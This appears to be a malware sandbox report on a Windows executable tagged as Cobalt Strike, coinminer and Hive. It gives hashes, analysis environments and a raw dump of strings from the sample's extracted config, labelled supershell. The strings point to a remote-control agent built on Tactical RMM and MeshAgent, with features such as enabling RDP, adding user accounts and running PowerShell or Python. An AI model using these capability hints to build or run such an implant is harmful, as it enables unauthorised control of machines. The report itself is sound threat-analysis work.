Analysis
- max time kernel
149s - max time network
144s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
12/07/2026, 16:24
Static task
static1
Behavioral task
behavioral1
Sample
2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
Resource
win11ltsc2024-20260709-en
General
- Target 2026-07-12_a761bf8921a9cb4bef1b19206605ef22_cobalt-strike_coinminer_dosia_frostygoop_glassworm_hive_.exe
- Size 5.0MB
- Sample260712-twelnsc16p
- SHA256 cc54a5630b131da56b8776c879e6d1a36bbb3c3533fa13ea60c2438ca21bf412
- MD5 a761bf8921a9cb4bef1b19206605ef22
- SHA1 5adf4ccb1ee1c87df2c74dbb410370c7ae95b323
- SHA512 d4b2147c8f1c476cf26cb08bf6a8d66458f5f2d2038a1d60058ece884c570261dbec324ef9d17a22941d414ff695151da9144b4581b57c1c5106d4d42c40fc3f
- SSDEEP 49152:DRg0nHU3wAuOdrb/T8vO90d7HjmAFd4A64nsfJ4wLXNk2tbyRcH5OfT8N5t9XdNK:w3wAuOAOA25kYt9tyE8+ePt
- TLSH T1C0363B47F85551E8C1AED234CA259263BA707C891B3033D36BA0F7B82B73BD46A79354
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
supershell
-
2.11.03.11.93.14.532 bit39062564 bit<-chanAacuteAcceptAckAllActiveAgraveAnswerApiURLArabicAtildeAugustAuthorBasic BearerBinaryBitBltBrahmiBypassCANCELCDATA[CLOSEDCarianCcedilChakmaClosedCommonCookieCopticCreateCustomDELETEDaggerEEPROMEacuteEgraveEndDocExpectFEPROMFormatFridayGOAWAYGetACPGetAceGothicHangulHatranHebrewHiddenHyphenIacuteIgraveIsMenuKaithiKhojkiLISTENLPDDR2LPDDR3LPDDR4LambdaLengthLepchaLineToLockedLycianLydianManualMondayMulDivNtildeOacuteOgraveOslashOtildePADDEDPING PONG PatBltPragmaREG_SZRejangSCHED STREETSTRINGSYSTEMScaronSearchServerSourceStatusStringSundaySymbolSyriacSystemTai_LeTangutTargetTeluguThaanaTmpDirTypeMXTypeNSUTC+12UTC+13UTC-02UTC-08UTC-09UTC-11UacuteUgraveUserIdWARN: WINDIRWanchoWeeklyWeightX25519YacuteYezidi[%d]%s[]byte\u%04X\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u0008\u000b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u0022\u0026\u0027\u002b\u003c\u003e\u0060\u2028\u2029\ufffd _amd64aacuteacceptactionactiveagravearray*atildeavx512binaryborderbrvbarbuild bytes*ccedilcentoschan<-closedcmd_idconptycookiecoordscurrendaggerdebiandefinedeletedividedomaineacuteefenceegraveempty env.nuexec: existsexpectfedoraforallfrac12frac14frac34go %s goarchgopherhangupheaderheartsheighthelliphiddeniacuteigraveimportinternip+netiquestkMGTPEkilledlambdalfloorlistenlowastlsaquomailtomethodmiddotminutemonthsnats: natswsnetdnsnomeshntildenu.exenumbernutempoacuteobjectograveoriginoslashotildeotimesoutputpausedpermilplusmnpopcntposterprintfpythonquery:rdrandrdseedrdtscpreadatredhatremoverenamereturnrfloorrsaquorune1 scaronscopedscriptsecondselectsendtoserversigmafsilentsimplesocketsocks socks5spadessrcdocsrcsetstate(statusstdoutstringstructsweep switchsysmontargettelnetthere4thinsptimerstmpdirtypeofuacuteubuntuugraveuint16uint32uint64unusedusemapvaluesweierpwinptyx86_64xmlns:yacute{ARCH} %v=%v, (conn) (scan (scan) MB in Value> action allocs dying= flags= len=%d locks= m->g0= nmsys= pad1= pad2= s=nil text= using zombie% CPU (%s %s; %s://%s%v days%v hour%v week%v year%v: %#x, goid=, j0 = , type=--force-nodeid/LOG=%s19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625: type ::ffff::method:scheme:status= "`API URLAckNoneActionsAgentIDAgentPKAvestanBaseURLBengaliBrailleCLOSINGCOMMENTCONNECTChanDirClassIdConnectContactContextConvertCopySidCreatedCypriotDEBUG: DeseretERROR: Ed25519ElbasanEllipseElymaicEnabledEndMenuEndPageEpsilonExpiresFATAL: FreeSidGNUStepGODEBUGGetMenuGetTaskGranthaGroupIdHEADERSHanunooILLEGALIM UsedIO waitInstAltInstNopInstallJanuaryKannadaMD2-RSAMD5-RSAMUI_DltMUI_StdMakasarMandaicMarchenMaskBltMeshDirMonthlyMultaniMyanmarNewTaskOctoberOmicronOsmanyaPATHEXTPolygonRadicalRefererSELECT SHA-224SHA-256SHA-384SHA-512SUCCESSServiceSetMenuSetRectSharadaShavianSiddhamSinhalaSite IDSleepExSogdianSoyomboSubjectSwapperTagalogTask PKTibetanTirhutaToAsciiTrailerTuesdayTypeALLTypeOPTTypePTRTypeSOATypeSRVTypeTXTTypeWKSUNKNOWNUnknownUpdatesUpgradeUpsilonUsage: VersionWARNINGWSARecvWSASend[INFO] "`'/<-#\\.\UNC\ ) types value=_structabortedalefsymallocmRallocmWalt -> amxbf16amxint8amxtileanswersany -> archiveavx512fbdoUxXvbooleanbucket(charsetcheckedchunkedclassidclosurecmd.execolspancommandcomplexconnectconsolecontentcpuprofdefaultderiveddirnameenctypeepsilonexpiresfailingfields.finallyfloat32float64forcegcgctracehead = headershttp://installinstantintegerinvalidkeytypelognamelookup manjaromeshdirminpc= minutesmpr.dllmsgpacknil keynop -> number nushellomicronoperandoptimumosxsavepacer: packagepanic: passingpatternpdh.dllpreloadprintlnprofilepubdatereaddirrefererrefreshrestartresultsrowspanrunningsandboxsecondsserial:signal site-idspecialsrclangstoppedstring*subkeyssuccesssyscalltimeouttraileruintptrunknownupgradeupsilonversionwaitingwindowswsarecvwsasend{{end}} bytes, data=%q etypes incr=%v is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= packed= ping=%q pointer stack=[ status xmlns="%!Month(%.10q...%.1f %cB%02d%02d%25s: %s%s %s:%d%s /C %s%s&#x%x;%s: %s %s;%s;%s%v hours%v month%v weeks%v years�--config012345672.5.4.102.5.4.112.5.4.172006010248828125AbortDocAcceptExAcceptedAngleArcArmenianBAD RANKBalineseBopomofoBugineseCLICOLORCancelIoCherokeeClassANYComputerConflictContinueCopyRectCurveID(CyrillicDNS nameDSA-SHA1DecemberDeleteDCDisabledDownloadDrainingDrawIconDuployanDurationDwmFlushEndPaintEqualSidEthiopicExtenderFebruaryFillRectFullPathGeorgianGetFocusGetTasksGoStringGujaratiGurmukhiHOMEPATHHTTP/1.1HTTP/2.0HelpLinkHiraganaIdentityInsecureInstFailInstRuneIntervalIsWindowJavaneseKatakanaKayah_LiLAST_ACKLinear_ALinear_BLocationMD5+SHA1MD5-sessMahajaniMoveToExNO_ERRORNO_PROXYNode id:NovemberOl_ChikiOpenStepPRIORITYParseIntPasswordPhags_PaPolylinePriorityPtInRectQuestionReadFileReceivedResetDCWRunLevelSETTINGSSHA1-RSASHA3-224SHA3-256SHA3-384SHA3-512SYN_SENTSameSiteSaturdaySetEventSetFocusSetTimerSettingsSystem32TagbanwaTai_ThamTai_VietTextOutWThursdayTifinaghToken %sTriggersTypeAAAATypeAXFRUgariticUpdateIDWSAIoctlZgotmplZ[::1]:53[:word:][ERROR] [signal "%s" %s --%s stack=[_NewEnum_gatewayaddress agent_idantergosautoplayavx512bwavx512cdavx512dqavx512eravx512pfavx512vlbad instbeEfFgGvcgocheckcodebasecomp_syscompresscontinuecontrolscs curl -X datetimedeadlockdeno.exedenotempdisableddnsquerydropzonedurationencodingexecwaitexplicitexporterfile+netfinishedfont/otffont/ttffs graphicsgs has_morehijackedhostnamehreflanghttp/1.1if-matchif-rangeinfinityinsecureinvalid ip4:icmpis-*.tmplanguagelinkpathlocationlongdescloopbacklstrcpyWlstrlenWmanifestmultiplenats: %snatsportnew_namenew_pathno anodeno-cacheno_proxynssm.exeold_nameold_patholeaut32opensuseoriginalpanic %vpath %s photurispollDescpy38-x32py38-x64r10 r11 r12 r13 r14 r15 r8 r9 raspbianrax rbp rbx rcx rdi readfromreadonlyrecvfromredirectrequiredreversedrflags rip rsi rsp runnablescavengeseamlessselectedshutdownsockaddrsoftwarestrconv.syncmeshtabindextemplatetextareathetasymtraceBuftrigger=unixgramunknown(updtCnt:urlquerywsaioctlx509sha1{{else}} (forced) -> node= B exp.) B work ( as type blocked= in use) lockedg= lockedm= m->curg= marked ms cpu, not in [ of type runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=#ZgotmplZ%s %q: %s%s %x %x %v minute%v months%v second(unknown), newval=, oldval=, size = , tail = 01234567_0x%X (%d)1 error: 244140625: status=AUOptionsAgent ID:Agent PK:ArgumentsAuthorityAutomaticBase URL:Bassa_VahBhaiksukiBigEndianCONNECTEDCheckInSWClassINETClient IDCreateDCWCreateICWCreatePenCuneiformDiacriticDrawTextWEndDialogEqualRectEvery dayExecQueryFindCloseForbiddenGetDIBitsGetFolderGetWindowHOMEDRIVEHex_DigitInheritedInstMatchInstRune1InterfaceKhudawadiLoadIconWLoadMenuWLocalFreeLogonTypeMalayalamMongolianMoveFileWNabataeanNot FoundOnFailurePalmyreneParseBoolParseUintPrincipalPublisherPurgeCommREG_DWORDREG_QWORDRPC debugRectangleReleaseDCReleaseIdRemoveAllRun Task:SamaritanSee OtherSendInputSeptemberSetBkModeSetCursorSetupCommStartDocWStartPageStartTypeSundaneseSyncMesh:TIME_WAITTimestampToo EarlyTrailer: TypeCNAMETypeHINFOTypeMINFOUnionRectUse ProxyWSASendToWakeToRunWednesdayWinTmpDirWriteFile[%v = %d][:^word:][:alnum:][:alpha:][:ascii:][:blank:][:cntrl:][:digit:][:graph:][:lower:][:print:][:punct:][:space:][:upper:]_outboundagent-wmiagent.logalmalinuxatomicor8autofocusautomaticbad indirbad prunebroadcastbus errorchallengechan sendchoco.execlient-idcomplex64config.nuconnectexconpty-incopystackcpu-totalctxt != 0d.nx != 0dns,filesdraggabledxva2.dllelement <empty urlexit_codefiles,dnsfont/wofffork/execfuncargs(gdi32.dllgetCallerhchanLeafimage/bmpimage/gifimage/pnginittraceinterfaceinterruptinvalid nipv6-icmplinuxmintlocalhostmSpanDeadmap[%s]%smaxlengthmeshagentmkdirtempmulticastnil errornil tracentdll.dllole32.dllomitemptyopeneulerpage_sizepanicwaitpclmulqdqpreemptedprofBlockprotocol psapi.dllquestionsrecover: reflect: runchecksrwxrwxrwxscavtracestackpoolstartTypesucceededtimestamptracebackundefinedunderflowunhandleduninstallurn:uuid:video/avivideo/mp4wbufSpanswebsocketwinmm.dllwsasendto{VERSION}{{break}}} stack=[ netGo = MB goal, but have flushGen for type gfreecnt= heapGoal= pages at ptrSize= runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= targetpc= throwing= until pc=%!Weekday(%s|%s%s|%s%v minutes%v seconds, bound = , limit = -NoProfile.localhost.terminal./dev/stdin/etc/hosts/r /t 5 /f012345678912207031256103515625: parsing :authority<no value>AcceptEulaAdditionalAll monthsAlphaBlendBad varintBeginPaintCLOSE_WAITCONNECTINGCache DRAMCancelIoExCategoriesCategoryIDCheckInWMIChorasmianClassCHAOSClassCSNETCombineRgnConnectionContent-IdCreateFileCreateIconCreateMenuCreatePipeDSA-SHA256DaysOfWeekDefinitionDeleteMenuDeleteTaskDeprecatedDevanagariDnsQuery_WDragFinishDrawIconExECDSA-SHA1END_STREAMEnable RDPEvery weekException FIN_WAIT_1FIN_WAIT_2GC forced GOMAXPROCSGOMEMLIMITGetDlgItemGetFoldersGetIfEntryGetObjectWGetSubMenuGetVersionGlagoliticGlobalFreeGlobalLockHKEY_USERSHTTP_PROXYHost: %s IP addressIgnore NewInstalled:IsValidSidKeep-AliveKharoshthiLoadImageWLocalAllocLockFileExManichaeanMesh AgentMessage-IdMoveWindowNATS/1.0 NetUserAddNetUserDelNo ContentOffsetRectOld_ItalicOld_PermicOld_TurkicOpenEventWOpenMutexWOpenThreadOther_MathPOSTALCODEParseAddr(ParseFloatPhoenicianPingCheck:PlaySoundWPolyBezierProcessingPulseEventREG_BINARYRIPEMD-160RST_STREAMRemoveMenuRepetitionResetEventSHA256-RSASHA384-RSASHA512-RSASYSTEMROOTSaurashtraSend EmailSet-CookieSetBkColorSetCaptureShcore.dllShowCursorShowWindowStatus: %sStretchBltSupportURLSynch DRAMUNKNOWN_%dUser-AgentWSACleanupWSASocketWWSAStartupWindows 10Windows 11[:^alnum:][:^alpha:][:^ascii:][:^blank:][:^cntrl:][:^digit:][:^graph:][:^lower:][:^print:][:^punct:][:^space:][:^upper:][:xdigit:] --%s-- _reserved1agent-typearg %d: %watomicand8audio/aiffaudio/midiaudio/mpegaudio/waveavx512bf16avx512gfniavx512ifmaavx512vaesavx512vbmiavx512vnnibackgroundbase_boardcomplex128connectionconpty-outcreatetempdebug calldefinitiondnsapi.dlldwmapi.dllecho replyexecerrdotexitThreadexp masterfloat32nanfloat64nanfont/woff2formactionformmethodformtargetgetsockoptgoroutine http-equivhttp_proxyimage/avifimage/jpegimage/webpimpossibleinstanceofinvalid IPinvalidptrkeep-alivelocal-meshmSpanInUsemediagroupmesh agentmeshnodeidnil headernot a boolnotifyListnovalidateowner diedpowershellprofInsertpython.exeradiogroupres binderres masterresumptionrune <nil>runtime: gs.state = schedtracescientificsemacquiresession_idset-cookiesetsockoptskipping: socks bindspellcheckstackLarget.Kind == terminatedtracefree(tracegc() unins*.exeunixpacketunknown pcuser-agentuser32.dllvideo/webmwinagent-vwinpty.dllws2_32.dll of size (targetpc= , plugin: ErrCode=%v KiB work, exp.) for freeindex= gcwaiting= idleprocs= in status mallocing= ms clock, nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%d errors: %d.%d.%d.%d%s %s %s ) at entry+, elemsize=, npages = , settings:--no-prompt.WithCancel.cmdoutput./VERYSILENT/dev/stderr/dev/stdout/index.html0123456789_0x%08X (%d)30517578125: frame.sp=> in space AckExplicitAppendMenuWBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256Bad GatewayBad RequestCOM HandlerClassHESIODCloseHandleCoGetObjectCookie.PathCreateFileWDaysOfMonthDefDlgProcWDeleteFileWDescriptionDestroyIconDestroyMenuDisplayNameDives_AkuruDownloaded:DrawMenuBarENABLE_PUSHEND_HEADERSESTABLISHEDEarly HintsEnable pingEndBoundaryEnumWindowsEnvironmentExitProcessFileVersionFindWindowWFreeLibraryGOMEMLIMIT=GOTRACEBACKGetFileTimeGetFileTypeGetIfEntry2GetKeyStateGetMenuInfoGetMessageWGetSysColorGetWindowDCGlobalAllocHTTPS_PROXYIdeographicIn-Reply-ToInflateRectInsertMenuWInstCaptureInstRuneAnyInstallDateInteractiveIsInstalledIsRectEmptyLastRunTimeLoadCursorWMachineGuidMarshalJSONMarshalTextMedefaidrinMesh Agent:Mesh agent:MessageBeepMessageBoxWModifyMenuWMoveFileExWNATS error:NandinagariNetShareAddNetShareDelNetUserEnumNew_Tai_LueNextRunTimeOld_PersianOld_SogdianOpenProcessPROGRAMDATAPatchMgmnt:Pau_Cin_HauPrintWindowProductNameRandomDelayRegCloseKeyReturn-PathSHA-512-256SHA-512/224SHA-512/256SYSTEMROOT=Sending WMISetCommMaskSetFileTimeSetMenuInfoSignWritingSoft_DottedStateChangeSwapBuffersSystemDriveTTL expiredTacticalRMMToUnicodeExUSERPROFILEUserenv.dllVariantInitVirtualFreeVirtualLockWARN RESTY WSARecvFromWaitMessageWaitTimeoutWarang_CitiWhite_Space[:^xdigit:]\device\mup_eval_args_additionalsagent-disksagent-helloalarm clockassistQueueauthoritiesavx512vbmi2avx512vnniwbad addressbad argSizebad m valuebad messagebad timedivbad verb '%broken pipecall of nilcgocall nilcheckrunnerclobberfreeclosesocketcombase.dllcontextmenucreated by crossorigincrypt32.dlldescriptionempty fieldexpected :=fallthroughfile existsfinal tokenfloat32nan2float64nan1float64nan2float64nan3formenctypegccheckmarkgdiplus.dllgetpeernamegetsocknameglobalAllochttp2clienthttp2serverhttps_proxyi/o timeoutlocal errormSpanManualmethodargs(minTrigger=msimg32.dllmswsock.dllnetpollInitnil Contextnil contextnot definedoraclelinuxparse errorplaceholderraw-controlreflect.SetreflectOffsretry-afterruntime: P runtime: g runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writestack tracetacticalrmmtls: alert(tls://%s:%stracealloc(traffic updunreachableunsupporteduserenv.dllversion.dllwinagent-v*winpty_freewinpty_openwsarecvfromwss://%s:%s (sensitive) = struct { B (∆goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= maxTrigger= nDataRoots= nSpanRoots= pages/byte preemptoff= s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%02d-%d-%02d) p->status=, cons/mark --env-config-byte limit -fullinstall100-continue127.0.0.1:53152587890625762939453125> but have <Agent token:BODY : %v Bidi_ControlCIDR addressCONNECT %s CONTINUATIONCfgMgr32.dllCheckInDisksCheckInHelloCheckInPubIPCoCreateGuidCoInitializeContent TypeContent-TypeCookie.ValueCreateBitmapCreateCursorCreateEventWCreateFolderCreateMutexWCurrentBuildCustomSourceDDR2 FB-DIMMDEBUG RESTY DISCONNECTEDDaysIntervalDeleteObjectECDSA-SHA256ECDSA-SHA384ECDSA-SHA512ERROR RESTY EnableWindowEulaAcceptedExtCreatePenExtractIconWFindNextFileGetAddrInfoWGetCommStateGetConsoleCPGetCursorPosGetDlgCtrlIDGetLastErrorGetLengthSidGetMenuStateGetProcessIdGetStdHandleGetTempPathWGetTopWindowGlobalUnlockHEADERS: %s HOST : %s I'm a teapotIdleDurationIdleSettingsInstAltMatchIsDownloadedJoin_ControlKBArticleIDsLittleEndianLoadLibraryWLoadResourceLockResourceMax-ForwardsMeetei_MayekMesh Node IDMime-VersionMissing pathMonthsOfYearMoreInfoURLsMsrcSeverityMulti-StatusNeedsReboot:Netapi32.dllNot ExtendedNot ModifiedNtCreateFileOpen ServiceOpenServiceWPROGRAMFILESPUSH_PROMISEPahawh_HmongPdhOpenQueryPeekMessageWPostMessageWProgramFilesPublicIP errRCodeRefusedRCodeSuccessRECONNECTINGREG_MULTI_SZReadConsoleWRedrawWindowRegGetValueWReleaseMutexReportEventWRestartCountResumeThreadRevertToSelfRoInitializeRun ParallelRunning taskSERIALNUMBERSHA-256-sessSYN_RECEIVEDSameSite=LaxScrollWindowSelectObjectSendMessageWSession LockSetCommBreakSetCommStateSetConsoleCPSetCursorPosSetEndOfFileSetErrorModeSetLocalTimeSetRectEmptySetStdHandleSetTextColorSetWindowPosSetupAPI.dllShow MessageSlowConsumerSora_SompengSubscriptionSubtractRectSyloti_NagriSysStringLenTactical RMMTacticalRMM_Thread32NextTransmitFileUnauthorizedUnlockFileExUpdateWindowUsing proxy:ValidateRectValueQueriesVariantClearVersionMajorVersionMinorVirtualAllocVirtualQueryWeeksOfMonthX-ImforwardsX-Powered-Byabi mismatchadvapi32.dllagent-winsvcaltmatch -> anynotnl -> autocompleteavx5124fmapsavx512bitalgbad flushGenbad g statusbad g0 stackbad recoveryblock clausebuild %s=%s c ap trafficc hs trafficcaller errorcan't happencas64 failedchan receiveclose notifycomctl32.dllcomdlg32.dllcontent-typecontext.TODOdumping heapecho requestend tracegc entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowharddecommithost is downhttp2debug=1http2debug=2illegal seekimage/x-iconinvalid baseinvalid bodyinvalid kindinvalid pathinvalid portinvalid slotiphlpapi.dllkernel32.dlllfstack.pushlogrus_errormadvdontneedmax-forwardsmesh_node_idmheapSpecialmissing pathmspanSpecialnetapi32.dllno extensionno such hostnot pollablenssm-x86.exentoskrnl.exeoleaut32.dllopengl32.dllout of rangepointtopointproxyconnectrandautoseedrecv_goaway_reflect.Copyregistrationreleasep: m=remote errorruntime: gp=runtime: sp=s ap traffics hs trafficself-preemptservices.exesetupapi.dllshort buffershutdown.exespanSetSpinestop_pendingstring|bytessweepWaiterstacticalrmm*traceStringstransmitfileunexpected )unins000.exeunknown portunknown typewinpty_bins/winpty_spawnwintrust.dllwirep: p->m=worker mode wtsapi32.dll{{continue}} != sweepgen (default %q) (default %v) MB globals, MB) workers= [%dm%s[0m= called from closed by </ flushedWork idlethreads= in duration in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= %s://%s:%d/%s, gp->status=, not pointer--WebProxy=%s--no-progress-byte block (3814697265625: unknown pc <unsupported>AUDIT_FAILUREAUDIT_SUCCESSAccept-RangesAuthorizationCLIENT_RANDOMCONNECT_ERRORCPU Load Avg:Cache-ControlCertOpenStoreCheckInWinSvcCheckMenuItemCloseEventLogCoTaskMemFreeCompatibilityConnectServerContent-RangeCreateActCtxWCreateRectRgnCreateWindowWDRAINING_PUBSDRAINING_SUBSDeleteServiceDestroyCursorDestroyWindowDocumentationECDSAWithSHA1EnumProcessesEstimatedSizeExitWindowsExFQDN too longFindFirstFileFindNextFileWFindResourceWForcing ipv4:FreeAddrInfoWGC sweep waitGetClassLongWGetClassNameWGetClientRectGetDeviceCapsGetDriveTypeWGetIfEntry2ExGetMenuItemIDGetSystemMenuGetSystemTimeGetWindowInfoGetWindowRectGo CPU Check:Gunjala_GondiIIDFromStringIf-None-MatchImageList_AddInstallSourceIntersectRectInvalid monthLast-ModifiedLoop DetectedMapViewOfFileMasaram_GondiMende_KikakuiMeshAgent.exeModule32NextWNatsProxyPathNatsProxyPortNot InstalledOld_HungarianOpenClipboardOpenEventLogWPKCS1WithSHA1PdhCloseQueryREG_EXPAND_SZRPC RunChecksReadEventLogWRegDeleteKeyWRegEnumKeyExWRegEnumValueWRegOpenKeyExWReset ContentRestartOnIdleRtlCopyMemoryRtlGetVersionRtlInitStringRtlMoveMemoryRunOnlyIfIdleSHA256-RSAPSSSHA384-RSAPSSSHA512-RSAPSSSTREAM_CLOSEDSafeArrayCopySafeArrayLockSelectClipRgnSetBrushOrgExSetClassLongWSetDCPenColorSetSystemTimeShellExecuteWStartBoundaryStartServiceWStop ExistingStopOnIdleEndStringFromIIDSysFreeStringTacticalAgentThe log levelThread32FirstUNSUB %d %s Unknown ErrorUpdateID='%s'Usage of %s: VirtualUnlockWINDOW_UPDATEWTSFreeMemoryWaitCommEventWeeksIntervalWriteConsoleW[FrameHeader accept-rangesaccess deniedauthorizationbad flushGen bad map stateby_start_timecache-controlcomp_sys_prodcontent-rangedalTLDpSugct?define clausedouble unlockemail addressempty commandempty integerexchange fullexecRInternalfatal error: getTypeInfo: gethostbynamegetservbynamegzip, deflateif-none-matchimage/svg+xmlinvalid ASN.1invalid UTF-8invalid base ip6:ipv6-icmplame referrallast-modifiedlevel 3 resetload64 failedmeshagent.exemin too largenats: timeoutnil stackbaseno name spacenot a Float32not availableout of memoryparsing time pause_pendingprofMemActiveprofMemFutureruntime: seq=runtime: val=socks connectsrmount errorstart_pendingtestRInternaltime exceededtimeEndPeriodtimer expiredtlsmaxrsasizetraceStackTabtrmm/%s/%s/%sunexpected %sunimplementedunknown type unsupported: updaterunninguser canceledvalue method wglShareListsxadd64 failedxchg64 failed} sched={pc: /* %s */null needspinning= nmidlelocked= on zero Value out of range procedure in to finalizer untyped args %v, Attempt %v-fulluninstall-thread limit .WithDeadline(/api/v3/choco/1907348632812595367431640625: extra text: <not Stringer>> closed by </Accept-CharsetActivateActCtxAgentStartup()CLICOLOR_FORCECallNextHookExCertCloseStoreClearCommBreakClearCommErrorClientToScreenCloseClipboardCoInitializeExCoUninitializeComputerNameExContent-LengthControlServiceCreateEventExWCreateMutexExWCreateProcessWCreateServiceWCryptGenRandomCurrentVersionDefWindowProcWDisplayVersionDkim-SignatureDragQueryFileWDragQueryPointDuplicateTokenDwmEnableMMCSSDwmShowContactERR_UNKNOWN_%dEmptyClipboardEnableMenuItemEnumPageFilesWFindFirstFileWFormatMessageWGC assist waitGC worker initGdiplusStartupGetConsoleModeGetMenuBarInfoGetMenuStringWGetMessageTimeGetPixelFormatGetProcAddressGetShellWindowGetStockObjectGetSystemTimesGetTickCount64GetUserNameExWGetWindowLongWGetWindowTextWHiliteMenuItemINTERNAL_ERRORInstEmptyWidthInvalid ActionInvalidateRectIsWellKnownSidIsWow64ProcessLastTaskResultLoadLibraryExWMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMapVirtualKeyWModule32FirstWNetUserGetInfoNetUserSetInfoNot AcceptableOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxPrints versionProcess32NextWPublicIP startQuotation_MarkRCodeNameErrorREFUSED_STREAMREQUEST_METHODReboot needed:RegDeleteTreeWRegSetValueExWReleaseCaptureRemote ConnectResourceHeaderRevisionNumberRunPythonCode:Running checksSUB %s %s %d ScreenToClientSession UnlockSetConsoleModeSetFilePointerSetPixelFormatSetThreadTokenSetWindowLongWSetWindowTextWSizeofResourceSleeping for 5SysAllocStringTrackPopupMenuTranslateNameWTypesSupportedVerQueryValueWVirtualProtectVirtualQueryEx[^\w@%+=:,./-]\.+*?()|[]{}^$ Error %d: %s accept-charsetagent-publicipallocfreetracebad allocCountbad record MACbad restart PCbad span statecontent-lengthdata truncatedfile too largefinalizer waitformnovalidategcstoptheworldgetprotobynameinternal errorinvalid optioninvalid pid %vinvalid semverinvalid syntaxis a directorykey size wronglen of type %slevel 2 haltedlevel 3 haltedmultipartfilesneed more datanetwork_confignil elem type!no module datano such devicepacket too bigpowershell.exeprotocol errorread_frame_eofreflect.Selectruntime: full=runtime: want=s.allocCount= script_resultssemaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytoo many linkstoo many usersunexpected EOFunknown code: unknown error unknown methodunknown mode: unknown node: unknown statusunreachable: unsafe.PointeruserArenaStatewglMakeCurrentwinapi error #work.full != 0zero parameter with GC prog (no semicolon) is unavailable()<>@,;:\"/[]?=,M3.2.0,M11.1.0-NonInteractive0601021504Z0700476837158203125: cannot parse : no frame (sp=<invalid DWORD><invalid QWORD><invalid Value>ASCII_Hex_DigitAccept-EncodingAccept-LanguageAddDllDirectoryCLSIDFromProgIDCLSIDFromStringCallWindowProcWCheckInSyncMeshClientAuthType(Console ConnectCreateHardLinkWCreatePopupMenuCreateWindowExWDefSubclassProcDeviceIoControlDialogBoxParamWDragAcceptFilesDuplicateHandleEnabling RDP...Every other dayFailed to find Failed to load FindNextStreamWFindNextVolumeWFindVolumeCloseFlushViewOfFileGateway TimeoutGdiplusShutdownGetActiveObjectGetActiveWindowGetAdaptersInfoGetClassInfoExWGetCommTimeoutsGetCommandLineWGetEnhMetaFileWGetMenuItemRectGetMonitorInfoWGetProcessTimesGetRawInputDataGetSecurityInfoGetStartupInfoWGetTextMetricsWHEADERS : Hanifi_RohingyaIdempotency-KeyImpersonateSelfInsertMenuItemWInstallLocationIsWindowEnabledIsWindowUnicodeIsWindowVisibleIsWow64Process2Length RequiredMonitorFromRectNTSTATUS 0x%08xNetGetAnyDCNameNetworkSettingsNot ImplementedNot InitializedNtResumeProcessOpenThreadTokenOther_LowercaseOther_UppercasePKCS1WithSHA256PKCS1WithSHA384PKCS1WithSHA512Partial ContentPlayEnhMetaFilePostQuitMessageProcess32FirstWPsalter_PahlaviQueryDosDeviceWQueue InstancesRecovering meshRegCreateKeyExWRegDeleteValueWRequest TimeoutRestartIntervalRtlDefaultNpAclSafeArrayCreateSafeArrayGetDimSafeArrayGetIIDSafeArrayUnlockSameSite=StrictSetCommTimeoutsSetDCBrushColorSetSecurityInfoSetVolumeLabelWShowWindowAsyncStatus: runningStringFromCLSIDStringFromGUID2SwapMouseButtonTactical Agent:The mode to runUninstallStringUnmapViewOfFileWhere to log toX-Forwarded-For] morebuf={pc:accept-encodingaccept-languageadvertise erroragent-agentinfoallocmRInternalapplication/oggapplication/pdfapplication/zipasyncpreemptoffavx512vpopcntdqbad certificatebad trailer keycontenteditabledesktop_monitordouble scavengeelem size wrongfmipv6 messagesfont/collectionforce gc (idle)invalid addressinvalid argSizeinvalid booleaninvalid pointerjstmpllitinterpkey has expiredkilling processmalloc deadlockmisaligned maskmissing addressmissing mcache?monitoring_typems: gomaxprocs=negative offsetnetwork is downnetwork_adapterno dot in fieldno medium foundno such processnon-minimal tagnot implementedpreempt SPWRITErecord overflowrecovery failedrecv_rststream_reflectlite.Setruntime error: runtime: frame runtime: max = runtime: min = runtimer: bad pscan missed a gstartm: m has pstopm holding psync.Mutex.Locktacticalagent-vtacticalrmm.exetarinsecurepathtemplate clausetimeBeginPeriodtimestamp replytraceback stuckunclosed actionunexpected typeunknown Go typeunknown networkunknown versionunknown/invalidwindows-servicewinpty_set_sizewrite error: %wx-forwarded-forzipinsecurepath already; errno= mheap.sweepgen= not in ranges: untyped locals %s %s HTTP/1.1 ()<>@,;:\"/[]?= , not a function--no-config-file-ExecutionPolicy.WithValue(type /api/v3/checkin//etc/resolv.conf0123456789ABCDEF0123456789abcdef2384185791015625: value of type > in name space AdjustWindowRectAllowDemandStartAlready ReportedCheckInAgentInfoCheckInLimitDataCloseEnhMetaFileCoCreateInstanceConnectNamedPipeContent-EncodingContent-LanguageContent-Length: 